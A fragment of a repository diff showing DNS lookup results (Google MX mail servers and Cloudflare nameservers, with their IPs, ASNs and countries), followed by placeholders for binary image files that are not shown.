53 15 alt2.aspmx.l.google.com 172.253.116.26 MX dj-in-f26.1e100.net GOOGLE - Google LLC 15169 / United States
54 20 alt3.aspmx.l.google.com 192.178.223.26 MX yulhrs-in-f26.1e100.net GOOGLE - Google LLC 15169 / United States
55 25 alt4.aspmx.l.google.com 172.253.157.27 MX yubrupd-in-f27.1e100.net GOOGLE - Google LLC 15169 / United States
56 5 aspmx.l.google.com 192.178.155.27 MX GOOGLE - Google LLC 15169 / United States
57 nash.ns.cloudflare.com 172.64.33.209 NS nash.ns.cloudflare.com CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
58 nina.ns.cloudflare.com 172.64.32.136 NS nina.ns.cloudflare.com CLOUDFLARENET - Cloudflare, Inc. 13335 / unknown HTTP: cloudflare - Direct IP access not allowed
Binary file not shown.

After

Width:  |  Height:  |  Size: 344 KiB

Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 353 KiB

Binary file not shown.